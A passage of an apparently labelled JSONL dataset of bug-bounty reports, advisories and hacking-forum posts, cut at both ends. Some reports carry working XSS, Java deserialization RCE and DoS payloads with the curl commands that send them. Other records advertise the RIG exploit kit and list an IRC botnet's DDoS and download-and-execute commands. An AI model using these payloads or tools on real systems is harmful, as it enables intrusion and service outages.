Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2021-09-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6a1acb29aea10ff888a5", "text": "[Cross-site Scripting (XSS) - Reflected] XSS Vulnerability in WooCommerce Product Vendors plugin\n\nVersion 2.0.27 of the WooCommerce Product Vendors plugin doesn't appear to correctly escape the \"vendor description\" POST parameter and can be manipulated to reflect arbitrary scripting.\nThe good news is that it does appear to do some form of clientside validation before posting, in addition to some serverside validation later, preventing this from becoming a stored attack. This appears to be due to the fact that \"vendor_description\" _POST parameter is echoed without being escaped on line 61 of templates/shortcode-registration-form.php\n\nI've created the following vulnerable URL on my personal site; WordPress and all plugins and themes are up to date, and the site is using the default \"Storefront\" theme.\n http://steelpress.org/index.php/product-vendor-registration-form/\n\nThe unescaped script is visible in the source when you run:\n\ncurl -X POST -d \"vendor_description=<script>alert(\"xss\")</script>\" \"https://steelpress.org/index.php/product-vendor-registration-form/?confirm_email=1&email=1&firstname=1&lastname=1&location=1®ister=Register&username=1&vendor_description=1&vendor_name=1\"", "source": "hackerone", "timestamp": "2017-08-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ff790d11a22b222b1d73", "text": "[Cryptographic Issues - Generic] FREAK: Factoring RSA_EXPORT Keys to Impersonate TLS Servers\n\nMany TLS servers, including those hosting sensitive websites such as\r\nwww.nsa.gov and connect.facebook.net, support weak EXPORT_RSA ciphersuites.\r\nBy factoring their 512-bit ephemeral RSA keys, a network attacker is able to impersonate\r\nthese websites to web browsers and more generally, to client applications relying on\r\nvulnerable TLS libraries. We have demos showing these attacks at www.smacktls.com\r\n\r\nWho's vulnerable\r\n-------------------------\r\nVulnerable TLS client-side libraries (and web browsers) include:\r\n- SecureTransport (used by Safari on iOS and OS X)\r\n- SChannel (used by Internet Explorer)\r\n- OpenSSL versions <= 1.0.1j (used by Android Browser and BlackBerry Browser)\r\n- BoringSSL versions before Nov 10, 2014 (used by Chrome <= version 40 on OS X, iOS, Android, Windows)\r\n- LibReSSL versions <= 2.1.1\r\n- IBM JDK \r\n\r\nOpenSSL 1.0.1k fixes the vulnerability (CVE-2015-0204)\r\n\r\nVulnerable TLS servers are listed and updated at: http://www.freakattack.com\r\nWe reported the attack to Akamai, Facebook, FBI, and many banks.\r\n\r\nAttack Details\r\n---------------------\r\nMore details are below, in the attached research paper, and on the website: www.smacktls.com#freak\r\n\r\nWe show a server impersonation attack relying on the following:\r\n\r\n(1) Many TLS servers support various EXPORT ciphersuites which are\r\nnow considered obsolete and breakable. For instance, the\r\nTLS_RSA_EXPORT_WITH_RC4_40_MD5 ciphersuite relies on a ephemeral\r\n512-bit RSA key that typically stays constant over the lifetime of the\r\nTLS server. Breaking this key allows a network attacker to impersonate\r\nthe server to any client that accepts an EXPORT_RSA handshake.\r\n\r\n(2) Several TLS client libraries, including e.g. OpenSSL\r\n(<=1.0.1j), accept an EXPORT_RSA ServerKeyExchange\r\nduring a regular RSA handshake. For the gory details of this bug, see\r\nthe attached research paper. In effect, these clients are willing to\r\nreplace the certificate's public key with a signed ephemeral public\r\nkey sent by the server (even if the ephemeral key is very short.)\r\n\r\nOpenSSL 1.0.0k fixed this bug (CVE-2015-0204) but previous versions of\r\nOpenSSL (used in Android browsers) and other clients listed above \r\nare vulnerable.\r\n\r\n(3) 512-bit keys can now be factored in a few hours. With the help of\r\nProf. Nadia Heninger who used cado-nfs (http://cado-nfs.gforge.inria.fr/) \r\nto run factoring tasks on the Amazon EC2 cloud, we were able to factor \r\nthe ephemeral EXPORT_RSA keys for multiple server instances of \r\nwww.nsa.gov and connect.facebook.net. Each factoring task took between\r\n7 and 11 hours and cost about $70-$100.\r\n\r\nWe note that the EXPORT_RSA keys for TLS servers seem to remain the\r\nsame for several days (at least), which makes us think they are only\r\nrefreshed when the server instance is rebooted.\r\n\r\nDEMO\r\n---------\r\n\r\nPutting these three elements together, we have demos that impersonate\r\nvarious HTTPS websites to the Safari web browser. \r\n\r\nSee: http://www.smacktls.com\r\n\r\nThe demo shows how a network attacker can \r\n(a) hijack HTTPS connections to www.nsa.gov to tamper with the careers page\r\n(b) hijack HTTPS connections to the Facebook JavaScript SDK to inject malicious\r\n scripts in innocent third-party websites\r\n\r\nCountermeasures\r\n---------------------------\r\n\r\nWe are already in touch with Apple, IBM, Microsoft and Google to fix the\r\nRSA_EXPORT bug on the client-side libraries. However, it seems likely\r\nthat many clients will continue to use older versions of these\r\nlibraries (e.g. Android cannot be easily updated.)\r\n\r\nWe recommend that all TLS servers stop supporting EXPORT_RSA \r\nciphersuites. This would protect the hosted websites.", "source": "hackerone", "timestamp": "2015-04-01", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "89b2288d2c11ea9e4ae0", "text": "NREL BEopt 2.8.0 Insecure Library Loading Arbitrary Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2019-03-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "58de5b08c3388ee49b0b", "text": "[Deserialization of Untrusted Data] Remote Code Execution (RCE) in a DoD website\n\nSUMMARY:\n====================\n\nThis report describes a vulnerability similar to that described in my other reports #329376, #329397, #329399\n\nThe DoD **`https://████/psc/EXPROD/`** Web System uses the Oracle PeopleSoft platform which is vulnerable to Remote Code Execution (RCE) and Denial of Service Attacks (DoS) over a Java Object Deserialization (CWE-502) in the “monitor” service. Thus an attacker can generate and send malicious java objects of special types to your system and achieve arbitrary effects (such as RCE os DoS) during their deserialization (the objects are deserialized by readObject() method without any type of validation). This is related to CVE-2017-10366 [1].\n\nPROOF OF CONCEPT\n====================\n\nFor PoC I sent a special serialized java object in order to force the vulnerable server to perform a DNS Lookup for a domain controlled by me (dod_test.jexboss.info). In this way, if the code is executed successfully by the DoD server I will receive a DNS query from DoD and see it in the logs of my BIND daemon (the vulnerable DoD server will perform a local DNS query for dod_test.jexboss.info and the local DNS will try to query the authoritative nameserver for the jexboss.info domain (ns1.jexboss.info), which is mine).\n\nFor more details about this payload used, see [2].\n\n**Attached is a video detailing the PoC.**\n\n**Generating the payload:** for generate the payload I used the tool ysoserial.\n```\n$ git clone https://github.com/frohoff/ysoserial.git\n$ cd ysoserial\n$ mvn clean package –DskipTests\n$ cd target\n$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://dod_test.jexboss.info > payload\n```\n\n**Sending the payload to a vulnerable server:**\n`curl https://████/psc/EXPROD/ --data-binary`@payload`-k`\n\nAfter sending the payload to the DoD server, the code was successfully executed and I received the DNS query on my BIND server, as can be seen in the log record below.\n\t\n**BIND logs:**\n```\n23-Mar-2018 18:42:26.332 queries: info: client ████#8059: query: dod_test.jexboss.info IN A -ED (10.0.1.202)\n```\n\n**Denial Of Service (DoS)**\n\nThis vulnerability also allows denial of service attacks, but I can not perform this test because it puts the availability of your service at risk. If you want to validate this, use the following PoC:\n\n**Generating payload for Denial of Service (DoS)[3]:**\n```\necho -n \"rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cH////d1cQB+AAB////3dXEAfgAAf///93VxAH4AAH////d1cQB+AAB////3dXEAfgAAf///93VxAH4AAH////d1cQB+AAB////3\" | base64 -d > payload_dos\n```\n\n**Sending:**\n`curl https://████/psc/EXPROD/ --data-binary`@payload_dos`-k`\n\nThis will make your service stop immediately and show the following error in the logs:\n```Exception in thread \"Thread-2\" java.lang.OutOfMemoryError: Java heap space```\n\nMITIGATION\n====================\n\nThe best way to mitigate deserialization vulnerabilities is by not deserializing data received from users. In this particular case, any requests from the internet to the path **/monitor** should be rejected/blocked! \nAlso, it is important to note that updating libraries used by attackers as Gadgets (such as commonsCollections) is not enough to protect against deserialization attacks, since new gadgets are discovered and published frequently. So, blocking the monitor service is best suited for this case!\n\nREFERENCES:\n====================\n[1] - CVE-2017-10366. Link: https://nvd.nist.gov/vuln/detail/CVE-2017-10366\n[2] - Triggering a DNS lookup using Java Deserialization. Link: https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/\n[3] - Java Deserialization DoS – payloads. Link: http://topolik-at-work.blogspot.com.br/2016/04/java-deserialization-dos-payloads.html\n\nBest Regards, \nJoão Filho Matos Figueiredo, @joaomatosf\n\n## Impact\n\nThis vulnerability allows:\n1) Remote Code Execution (**RCE**)\n2) Denial of Service (DoS)", "source": "hackerone", "timestamp": "2019-10-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3f0d776d3d16f600330e", "text": "[Memory Corruption - Generic] Sender policy framework (SPF) records evaluation return (Too many DNS lookups) error\n\nHi Security Team ,\n\nYour SPF record suffers from a “too many lookups” error.\n\nThe specifications for the SPF record limit the number of lookups (such as, translating a name to an IP address) to 10.\n\nAn SPF record like what is shown below will have the too many lookup errors :\n\nFound v=spf1 record for cakebet.com: \nv=spf1 mx include:zoho.com include:smtp1.uservoice.com include:amazonses.com include:_spf.google.com ~all \n\nevaluating...\nResults - PermError SPF Permanent Error: Too many DNS lookups\n\n- How to Fix it :\nMake the SPF record passed validation test with pySPF (Python SPF library)\n\nGood Fix ,", "source": "hackerone", "timestamp": "2016-03-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "2484f63ad73a2753215b", "text": "KindEditor 4.1.2 (name parameter) Reflected XSS Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-08-23", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "6c6a22ce6be04f261d70", "text": "[Buffer Over-read] CVE-2017-12985: The IPv6 parser in tcpdump before 4.9.2 has a buffer over-read in ip6_print()\n\nReported to the devs on 4 February 2017.\nTcpdump 4.9.2 released on 8 September 2017.\nPatch: https://github.com/the-tcpdump-group/tcpdump/commit/66df248b49095c261138b5a5e34d341a6bf9ac7f\n\n`The IPv6 parser in tcpdump before 4.9.2 has a buffer over-read in print-ip6.c.`\n\n```\n./tcpdump -nr test003\nreading from file test003, link-type IPV6 (Raw IPv6)\n=================================================================\n==31276==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000e000 at pc 0x000000578cd5 bp 0x7ffe8e397cd0 sp 0x7ffe8e397cc8\nREAD of size 1 at 0x60400000e000 thread T0\n #0 0x578cd4 in ip6_print /root/tcpdump/./print-ip6.c:348:4\n #1 0x576fdc in ipN_print /root/tcpdump/./print-ip.c:700:3\n #2 0x626677 in raw_if_print /root/tcpdump/./print-raw.c:42:2\n #3 0x4de3c9 in pretty_print_packet /root/tcpdump/./print.c:339:18\n #4 0x4ccb0b in print_packet /root/tcpdump/./tcpdump.c:2555:2\n #5 0x775960 in pcap_offline_read /root/libpcap/./savefile.c:527:4\n #6 0x6a3f3c in pcap_loop /root/libpcap/./pcap.c:1623:8\n #7 0x4c8f1e in main /root/tcpdump/./tcpdump.c:2058:12\n #8 0x7efcfe253b44 in __libc_start_main /build/glibc-qK83Be/glibc-2.19/csu/libc-start.c:287\n #9 0x4c419c in _start (/root/tcpdump/tcpdump+0x4c419c)\n\n0x60400000e000 is located 0 bytes to the right of 48-byte region [0x60400000dfd0,0x60400000e000)\nallocated by thread T0 here:\n #0 0x4a6b1b in malloc (/root/tcpdump/tcpdump+0x4a6b1b)\n #1 0x7772b3 in pcap_check_header /root/libpcap/./sf-pcap.c:401:14\n #2 0x774fc2 in pcap_fopen_offline_with_tstamp_precision /root/libpcap/./savefile.c:400:7\n #3 0x774d54 in pcap_open_offline_with_tstamp_precision /root/libpcap/./savefile.c:307:6\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /root/tcpdump/./print-ip6.c:348 ip6_print\n```", "source": "hackerone", "timestamp": "2019-10-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "92283f3b3aed0b4af149", "text": "RIG Exploit Kit - 20-30% IR\n\nRIG Exploit Kit: http://k5zq47j6wd3wdvjq.onion/listing/87480 Are pleased to introduce you to RIG exploits v2.0 -Work On all WinOS 32 / 64bi -Bypass UAC on exploits -Fast cleaning + cleaning on request -Keep Large volumes of traffic, no traffic limits -We provide always clean and trust domains with automatic check on the blacklist -We use CVE-2013-7331 for detect and stop AV or virtual machines. -API with automatic delivery Each account has a 2 stream and can ship 2 different exe Current exploits: ✔ Java: CVE-2012-0507 ✔ Java: CVE-2013-2465 ✔ IE7-8-9: CVE-2013-2551 ✔ IE10: CVE-2013-0322 ✔ Flash: CVE-2014-0497 ✔ Flash: CVE-2015-0311 ✔ Silverlight: CVE-2013-0074 An average rate of 10-20% Cost: 1 day - 50 usd Week - 200 usd month - 700 usd Jabber: 0x43@exploit.im Instant Transactions: I WILL ONLY USE ESCROW We will be using the escrow service as always and I will create you your account and give you login to our panel. It is very simple and the trade should only take 1-2 minutes to finish our transactions.", "source": "evolution", "timestamp": "2015-02-06", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "4a3d941a0f70feab28a3", "text": "Big_Brain wrote: quote \"I don't make the rules. I just think them up and write them down.\" Isnt thinking up a rule and writing it down pretty much trying to make a rule? Yeah use your Big Brain....", "source": "evolution", "timestamp": "2014-08-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b4a2356f3aa0278ad3a4", "text": "Telesquare SKT LTE Router SDT-CS3B1 Remote Reboot Denial Of Service\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2017-12-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "83d6c4fcdf7da3e9d7f9", "text": "[Information Disclosure] Full Path Disclosure / Info Disclosure in Creating New Group\n\nHi,\r\nI found another information disclosure vulnerability/Full Path Disclosure on your application.\r\nthis time its on Creating New Group Section.\r\n\r\nProof of Concept\r\n-------------------------\r\n\r\nGET : http://www.localize.io/pages/create_project/ [project ID]\r\nPOST CONTENT: CSRFToken=TOKEN VALUE&addGroup[name][]=new+group\r\n\r\nI just Added \"[]\" after *addGroup[name]* and Replied.\r\n\r\n### The information from page:\r\n> Warning: trim() expects parameter 1 to be string, array given in /var/www/vhosts/lvps178-77-99-228.dedicated.hosteurope.de/httpdocs_localize/classes/Phrase.php on line 213\r\n\r\nI Also Added a Screenshot of that FPD as attachment..\r\nHope You'll fix this one also..\r\nThanks", "source": "hackerone", "timestamp": "2014-04-19", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "765f68acc0fcdbdeaae7", "text": "NethServer 7.3.1611 (Upload.json) CSRF Script Insertion Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2017-08-29", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "941b4df595df0425543e", "text": "[HTTP Request Smuggling] HTTP Request Smuggling due to CR-to-Hyphen conversion\n\n> NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!\n\n**Summary:** [add summary of the vulnerability]\nApparently, node.js converts CR in HTTP request headers to hyphen before parsing. This can lead to HTTP Request Smuggling as it is a non-standard interpretation of the header.\n\n**Description:** [add more details about this vulnerability]\nConsider an HTTP request with Content[CR]Length header . Suppose a proxy in front of node.js ignores the Content[CR]Length header (and therefore assumes a 0-length body). node, on the other hand, converts the CR to a hyphen and uses the value of the (newly formed...) Content-Length header. HTTP Request Smuggling ensues.\n\n## Steps To Reproduce:\nThis is the HTTP stream that demonstrates the vulnerability:\nGET / HTTP/1.1\nHost: www.example.com\nContent[CR]Length: 42\nConnection: Keep-Alive\n\nGET /proxy_sees_this HTTP/1.1\nSomething: GET /node_sees_this HTTP/1.1\nHost: www.example.com\n\nA proxy server that ignores the invalid Content[CR]Length header will assume that the body length is 0 (since there's no body length indication), and will thus transmit the stream up to (but not including) the GET /proxy_sees_this. It will wait for node to respond (which interestingly does happen, even though node.js does expect the body - perhaps on GET requests, the URL is invoked regardless of the body?), then the proxy forwards the second request (from its perspective) - the GET /proxy_sees_this. Node then silently discards the expected 42 bytes of the body of the first request, and thus starts parsing the 2nd request from GET /node_sees_this.\nHTTP Request Smuggling ensues.\n\n[Also, if you were able to find the piece of code responsible for this issue, please add a link to it in the source repository.]\n\n## Impact: [add why this issue matters]\nHTTP Request Smuggling can lead to web cache poisoning, session hijacking, cross site scripting, etc.\n\n## Supporting Material/References:\n\n * List any additional material (e.g. screenshots, logs, references, commits, code examples, etc.).\n\n## Impact\n\nHTTP Request Smuggling can lead to web cache poisoning, session hijacking, cross site scripting, etc.", "source": "hackerone", "timestamp": "2020-10-17", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "771a32604f94af9832f8", "text": "[Improper Null Termination] Vulnerability in http-parser & embedded NULL header handling\n\nDue to a snafu in how security@node.js.org is setup to forward (see https://github.com/envoyproxy/envoy/issues/5155), the following bug report was not made available prior to disclosure. For completeness, I'm providing the original e-mail below. \n\nPlease note that this has been fixed in http-parser since disclosures. I understand that Node has moved away from http-parser, but this might affect Node.JS LTS for earlier versions. See https://github.com/nodejs/http-parser/issues/468 for the fix.\n\nRather than file a full report, I would like to share with Node.JS security WG the following resources:\n\n* Envoy CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9900\n* Envoy GH issue with CVE details: https://github.com/envoyproxy/envoy/issues/6434\n* http-parser GH issue: https://github.com/nodejs/http-parser/issues/468\n* Other discussion of the handling of this issue: https://github.com/envoyproxy/envoy/issues/5155#issuecomment-481854258\n\nOriginal e-mail\n------------------------\nMIME-Version: 1.0\nDate: Thu, 14 Mar 2019 16:35:20 -0400\nMessage-ID: <CAA4W8ZmaBzTMFU8VdpJzVDM7LXo0o5-WPTdYisGJUF9qsXiPnQ@mail.gmail.com>\nSubject: Vulnerability in http-parser & embedded NULL header handling\nFrom: Harvey Tuch <htuch@google.com>\nTo: security@nodejs.org, ry@tinyclouds.org\nCc: envoy-security@googlegroups.com\nContent-Type: multipart/alternative; boundary=\"0000000000006b3f64058413dc0b\"\n\n--0000000000006b3f64058413dc0b\nContent-Type: text/plain; charset=\"UTF-8\"\n\nHi Node.js Security WG, Ryan,\n\nWe (Envoy security team) have discovered a potential security vulnerability\nrelated to our use of http-parser that we are working to fix, patch and\nissue a security update for Envoy-side following\nhttps://github.com/envoyproxy/envoy/blob/master/SECURITY_RELEASE_PROCESS.md.\n\nWe would like to give you advanced notice of this under embargo, check in\nwith you to see if this might affect Node.js or other http-parser users,\nand potentially coordinate on an http-parser side fix.\n\nEnvoy makes use of http-parser as its HTTP/1 codec on its data plane. Envoy\nhas baked into it today the assumption that its HTTP codecs (http-parser,\nnghttp2) enforce RFC constraints on valid header values (\nhttps://tools.ietf.org/html/rfc7230#section-3.2.6). In particular, we\nexpect that there are no embedded NULLs in header values or keys that are\nplaced in Envoy's HeaderStrings and HeaderMapImpls objects. This is\nparticularly important because we allow two views of a HeaderString, via\nc_str()\n<https://github.com/envoyproxy/envoy/blob/b41ba5925a4e93d22a86c6501d63314ccf0d79f3/include/envoy/http/header_map.h#L115>\n and getStringView()\n<https://github.com/envoyproxy/envoy/blob/b41ba5925a4e93d22a86c6501d63314ccf0d79f3/include/envoy/http/header_map.h#L120>;\nembedded NULLS cause inconsistent views and lengths through these\naccessors. We use a mixture of these in header matching and routing.\n\nOur fuzzers and some recently introduced ASSERTs indicated that embedded\nNULLs were making their way into header values received from http-parser.\nDigging deeper, the errant behavior is due to a bug in how validation of\nheader values is performed by http-parser. You can see this in the\nvalidation logic at\nhttps://github.com/nodejs/http-parser/blob/0d0a24e19eb5ba232d2ea8859aba2a7cc6c42bc4/http_parser.c#L1469\n.\n\nIn particular, only the first character of the header value is validate at\nline 1490. Then the entire header value is accepted via a memchr scan at\nhttps://github.com/nodejs/http-parser/blob/0d0a24e19eb5ba232d2ea8859aba2a7cc6c42bc4/http_parser.c#L1506\n.\n\nThis means that we can have arbitrary embedded NULLs in any HTTP/1.1 header\nvalue today. There are places in Envoy where we use one view of these\nstrings for matching (e.g. route table lookup, authorization) and another\nview for routing and sending to our upstreams.\n\nWe have scored this as 6.5 using CVSS and will work on an Envoy patch to\nreject any header values that contain NULL and issue a point release and\npublic disclosure following\nhttps://github", "source": "hackerone", "timestamp": "2020-02-13", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5d3153d17028f657bcab", "text": "[Information Disclosure] Use of uninitialized value in ftp_getrc_msg method of mod_proxy_ftp.c\n\nThis is a Security Bug Report for mod_proxy_ftp. This bug is present in ftp_getrc_msg method of modules/proxy/mod_proxy_ftp.c file.\nThis is the line which causes this bug.\n\n```c\n...\n mb = apr_cpystrn(mb, response + 4, me - mb);\n...\n```\nIf ftp server returns a response like \"\\r\\n\", which has 3 characters with terminating NULL byte, apr_cpystrn method will copy uninitialized values.\nBecause that line uses \"response + 4\" as the source of data for apr_cpystrn method.\n\nApache Http Server version: 2.4.41\nCVE-ID: [CVE-2020-1934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1934)\nApache Http server fixed security bugs: (https://httpd.apache.org/security/vulnerabilities_24.html)\n\nSteps to reproduce\n---------------------\nPython 3 and Ubuntu OS 18.04 are required.\n\n\n* Download attached ftpserver.py file.\n* Enable proxy_module and proxy_ftp_module on Apache Http server.\n* Add these lines to httpd.conf file of Apache http server.\n\n```apache\n ProxyRequests On\n\n <Proxy *>\n Order deny,allow\n Deny from all\n Allow from 127.0.0.1\n </Proxy>\n```\n\n* Enter proxy settings\n * Open Setting on your Ubuntu OS.\n * Select Network\n * Click settings icon next to \"Network Proxy\" option.\n * Tick \"Manual\" option.\n * Enter Apache servers IP and port next to \"FTP Proxy\"\n* Run Apache http server with Valgrind.\n ` sudo valgrind --leak-check=yes bin/httpd -X`\n* Run attached ftpserver.py\n `sudo python3 ftpserver.py`\n * This python program will start a server on port 21.\n* Open a new terminal window and run this command.\n `curl ftp://127.0.0.1`\n\nValgrind Output\n------------------\nMemcheck, a memory error detector\nCopyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.\nUsing Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info\nCommand: bin/httpd -X\n\nThread 4:\nConditional jump or move depends on uninitialised value(s)\nat 0x52E6FFE: apr_cpystrn (in /usr/lib/x86_64-linux-gnu/libapr-1.so.0.6.3)\nby 0x8A0A46A: ftp_getrc_msg (mod_proxy_ftp.c:403)\nby 0x8A0C6CF: proxy_ftp_command (mod_proxy_ftp.c:828)\nby 0x8A0EAF1: proxy_ftp_handler (mod_proxy_ftp.c:1212)\nby 0x87F0259: proxy_run_scheme_handler (mod_proxy.c:3082)\nby 0x87E9F08: proxy_handler (mod_proxy.c:1251)\nby 0x17462C: ap_run_handler (config.c:170)\nby 0x17516E: ap_invoke_handler (config.c:444)\nby 0x195E74: ap_process_async_request (http_request.c:453)\nby 0x1915BD: ap_process_http_async_connection (http_core.c:158)\nby 0x1917EB: ap_process_http_connection (http_core.c:252)\nby 0x183D4A: ap_run_process_connection (connection.c:42)\n\nConditional jump or move depends on uninitialised value(s)\nat 0x52E700F: apr_cpystrn (in /usr/lib/x86_64-linux-gnu/libapr-1.so.0.6.3)\nby 0x8A0A46A: ftp_getrc_msg (mod_proxy_ftp.c:403)\nby 0x8A0C6CF: proxy_ftp_command (mod_proxy_ftp.c:828)\nby 0x8A0EAF1: proxy_ftp_handler (mod_proxy_ftp.c:1212)\nby 0x87F0259: proxy_run_scheme_handler (mod_proxy.c:3082)\nby 0x87E9F08: proxy_handler (mod_proxy.c:1251)\nby 0x17462C: ap_run_handler (config.c:170)\nby 0x17516E: ap_invoke_handler (config.c:444)\nby 0x195E74: ap_process_async_request (http_request.c:453)\nby 0x1915BD: ap_process_http_async_connection (http_core.c:158)\nby 0x1917EB: ap_process_http_connection (http_core.c:252)\nby 0x183D4A: ap_run_process_connection (connection.c:42)\n\nConditional jump or move depends on uninitialised value(s)\nat 0x8A0A475: ftp_getrc_msg (mod_proxy_ftp.c:405)\nby 0x8A0C6CF: proxy_ftp_command (mod_proxy_ftp.c:828)\nby 0x8A0EAF1: proxy_ftp_handler (mod_proxy_ftp.c:1212)\nby 0x87F0259: proxy_run_scheme_handler (mod_proxy.c:3082)\nby 0x87E9F08: proxy_handler (mod_proxy.c:1251)\nby 0x17462C: ap_run_handler (config.c:170)\nby 0x17516E: ap_invoke_handler (config.c:444)\nby 0x195E74: ap_process_async_request (http_request.c:453)\nby 0x1915BD: ap_process_http_async_connection (http_core.c:158)\nby 0x1917EB: ap_process_http_connection (http_core.c:252)\nby 0x183D4A: ap_run_process_connection (connection.c:42)\nby 0x1A189C: process_socket (event.c:1050)\n...\n\n* Complete valgrind output is attached.\n\n", "source": "hackerone", "timestamp": "2020-10-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "4bad34ec517046936e27", "text": "[Uncontrolled Resource Consumption] UDP port 5060 (SIP) Open\n\nSIP(Session Initiation Protocol) udp port 5060 is open in www.gratipay.com host .\nBug id - CSCtj04672\n Refer (CVE-2011-3280)\nIt may be the cause of DDOS and many other attack", "source": "hackerone", "timestamp": "2016-02-16", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "4b4ba1960a8f6fd66bdd", "text": "[.Net 2] 0x43 IRC Botnet $15 Lifetime\n\n![\\[Image: jiFJGH97eh9Fs.png\\]](http://i4.minus.com/jiFJGH97eh9Fs.png)\n\n \n \nCommands: \n \n\nCode: \n\n`!Sort/UnSort - Sorts bots into their country-specific channels such as #RU,\n#US, or #CA. \n!NextServer - Connects to fallback server \n!DisableSafeMode - Disable's safe mode \n!IP - Gives back bot's IP address \n!Silent - Tells bots to accept commands quietly \n!Noisy - Tells bots to respond to commands \n!StartProcess [process_name.exe] - Starts a process \n!CheckProcess [process_name.exe] - Checks if a process is running \n!KillProcess [process_name.exe] - Kills a process \n!RegName - Tells you bot registry name \n!RemoveRegKey [Name of registry key to remove from startup] \n!AddRegKey [Registry name to add to startup] [Path to file to add to startup] \n!ErrorMsg [Message to show on screen with the title Error. Underscores are\nconverted to spaces as it only accepts one line of text.] \n!CheckHost [http://google.com/] - Returns back Online/Offline status. \n!BotLocation - Gives back bot location such as C:\\Bot\\bot.exe \n!Update [http://direct-link.to/update.exe] -If the download is unsuccessful,\nthe bot will not be removed. \n!DDoS.TCPFlood [Host] [Port] [Threads] - Basic TCP Flood that sends a random\nstring. http://en.wikipedia.org/wiki/SYN_flood \n!DDoS.UDPFlood [Host] [low/medium/high] - Basic UDP Flood that sends a random\nstring to a random port between 1 and 25565.\nhttp://en.wikipedia.org/wiki/UDP_flood_attack \n!DDoS.TorsHammer [Host] [Port] [Threads] - Popular method used by members of\nAnonymous (AnonOps). http://sourceforge.net/projects/torshammer/ \n!DDoS.PostIT [Host] [Port] [Threads] - Basic slow-post, similar to Torshammer. \n!DDoS.Hulk [Host] [Port] [Threads] - Also used by Anonymous, avoids traffic\ncorrelation. - http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/ \n!DDoS.ARME [Host] [Port] [Threads] - Apache remote memory exhaustion exploit\n(CVE-2011-3192) -\nhttp://www.rapid7.com/db/modules/auxiliary/dos/http/apache_range_dos \n!TTS [Text to speech, underscores are converted to spaces as it can only\nhandle a single string.] \n!TCPFloodStatus - Tells you weather or not a TCP Flood is in progress. \n!UDPFloodStatus - Tells you weather or not a UDP Flood is in progress. \n!HTTPFloodStatus - Tells you weather or not a HTTP Flood is in progress. \n!StopUDPFlood - Stops UDP Flood \n!StopHTTPFlood - Stops HTTP Flood \n!StopTCPFlood - Stops TCP Flood \n!Uninstall - Bot is uninstalled completely and permanently, unless re-infected\nby you. Has a YES/Cancel confirmation command. \n!Download&Execute [http://direct-link.to/file.exe] - Downloads, and if\nsuccessful, executes the file. Reports back if it was successful or not.`", "source": "hackforums", "timestamp": "2015-01-31", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6b54f5a52dfc0791be3e", "text": "[Violation of Secure Design Principles] Security misconfiguration \"weak passwords\".\n\nThe site has a security misconfiguration issue. The site accept weak passwords like \"123\" or \"12345\" or \"abc12345\" which can be guessed easily with the help of some auto attacks.", "source": "hackerone", "timestamp": "2018-03-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "29f9b6bd2c4b72626a99", "text": "11in1 CMS v1.0.1 (do.php) CRLF Injection Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-11-08", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5b2aaed662e263e68c79", "text": "[Agora] AGORA WILL RETURN | ALL BTC SAFE |\n\nQuote from: shorty on March 10 2014 05:21:42 AMAgora will return?uh yeah just like the other sites sheep munched...sorry guize the jig is up it just got real up in this bitch...he aint gonna turn off his bots...Everyone of your posts is giving kudos to sheep (aka yourself). You've thrown in some shit like the layout of TMP is a bit poor to try and throw people off you being a sheep shill but we all know what a sylographic expert you are so it's obvious it's you. Especially when in another post you link all the info of TMP. You are sheep and shilling is necessary part of your plan to get people over to tmp and I'll tell you why...So you're running a DOS fine. That bullshit about withdrawing quadruple coins is wankery though. Maybe there was a couple instances of that happening but it was fixed (inb4adminlies). You saw it on the forums in the bug section because you are on the forums all day anyway and decided that was your attack vector. Spread propaganda about withdrawing users coins while there is uncertainty so people move away from the site and start using your beloved TMP. Ultimately your DOS is working but it will be fixed in a few days maybe a week. Then you'll try a new angle and that will be fixed quicker. You aren't withdrawing coins you don't have any sensitive information you're just making the biggest deal you can out of the downtime for maximum effect. It will work too there are a lot of fickle people on this site but they won't be going to tmp they will go to pandora or blue sky. If you really were some moral backhat crusader not out for his own motives you would take down SR2 PROPERLY. A site that has affected thousands of people in a very bad way. Instead you hit the most promosing market because you want the user base to come over to the site you work for. If this is what the Darknet market scene has become 1 site hiring hackers to attack another than I don't want any part in that. I used PGP and deposited just enough coins just before I ordered and never had any trouble here. The admins here have never demostrated any ill 